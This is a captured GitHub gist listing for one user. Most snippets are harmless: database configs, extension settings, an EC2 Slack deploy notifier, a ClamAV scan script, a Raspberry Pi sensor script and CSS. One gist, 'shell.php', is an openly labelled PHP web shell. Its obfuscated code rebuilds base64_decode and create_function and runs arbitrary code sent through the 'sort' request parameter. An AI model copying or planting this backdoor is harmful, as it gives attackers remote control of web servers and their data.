Skip to content

Instantly share code, notes, and snippets.

Zero Huang johnroyer

Block or report user

Report or block johnroyer

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@johnroyer
johnroyer / mysql.cnf
Last active Jul 30, 2019
MySQL 8.0 config
View mysql.cnf
[mysqld]
pid-file = /var/run/mysqld/mysqld.pid
socket = /var/run/mysqld/mysqld.sock
datadir = /var/lib/mysql
log-error = /var/log/mysql/error.log
default-authentication-plugin = mysql_native_password
View scriptsafe-settings-2019-07-21T02_21_34.952Z.txt
webbugs|true
gamepad|false
syncnotify|true
fpWebGL|[]
useragentspoof|off
syncfromnotify|true
fpBattery|[]
frame|true
fpBluetooth|[]
uaspoofallow|false
@johnroyer
johnroyer / S20slack
Created Jul 12, 2019
init change notification
View S20slack
#! /bin/sh
### BEGIN INIT INFO
# Provides: slackcat
# Required-Start: $remote_fs $syslog
# Required-Stop: $remote_fs $syslog
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: OpenBSD Secure Shell server
### END INIT INFO
@johnroyer
johnroyer / notify.sh
Last active Jul 12, 2019
slack notifier for AWS EC2 deployment
View notify.sh
#!/usr/bin/env bash
ID=`curl http://169.254.169.254/latest/meta-data/instance-id`
EC2_NAME=`aws ec2 describe-instances --instance-ids $ID | jq .Reservations[0].Instances[0].Tags[].Value | paste -sd ' ' - | sed -e 's/\"/ /g'`
HASH=`git rev-parse HEAD`
SHORT_HASH=`echo $HASH | head -c 6`
COMMENT=`git log --format=%B -n 1 HEAD`
BB_URL_PREFIX="https://bitbucket.org/team/project/commits"
HOST=`hostname`
REPO=$(basename `git rev-parse --show-toplevel`)
@johnroyer
johnroyer / virus-scan-clamav.sh
Last active Oct 29, 2018
scan virus in whole system by clamav (clamscan) and save log by date
View virus-scan-clamav.sh
#!/usr/bin/env bash
DATE=`date '+%Y-%m-%d'`
LOG_PATH="/var/log/clamav"
# create log folder
mkdir -p $LOG_PATH
clamscan -i -r / 2>&1 | tee "$LOG_PATH/$DATE.log"
@johnroyer
johnroyer / shell.php
Created Jul 23, 2018
PHP web shell / backdoor
View shell.php
<?php
$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();
@johnroyer
johnroyer / percona-server-5.7.cnf
Created Dec 24, 2017
percona-server-5.7 config template
View percona-server-5.7.cnf
[client]
default-character-set = utf8mb4
[mysql]
[mysqld]
user = mysql
pid-file = /var/run/mysqld/mysqld.pid
@johnroyer
johnroyer / detect.py
Created Dec 12, 2017
RPi + PIR sensor scan + LED output
View detect.py
import RPi.GPIO as GPIO
import time
GPIO.setwarnings(False)
GPIO.setmode(GPIO.BOARD)
# LED
GPIO.setup(3, GPIO.OUT)
# PIR sensor
@johnroyer
johnroyer / main.css
Created Nov 16, 2017
dark-theme for "Just Read" Chrome extension
View main.css
@font-face {
font-family: 'Source Sans Pro Semibold';
src: url("chrome-extension://dgmanlpmmkibanfdgjocnabmcaclkmod/fonts/SourceSansPro-Semibold.ttf");
}
@font-face {
font-family: 'Source Sans Pro Bold';
src: url("chrome-extension://dgmanlpmmkibanfdgjocnabmcaclkmod/fonts/SourceSansPro-Bold.ttf");
}
@font-face {
font-family: 'Source Sans Pro Light';
@johnroyer
johnroyer / pure-config.php
Created Sep 15, 2017
env-config-comparison
View pure-config.php
<?php
$valid = [
'production' => '10.0.1.0/24',
'stage' => '10.0.1.0/24', // 和 production 重複
'dev' => '192.168.1.0/24',
];
You can’t perform that action at this time.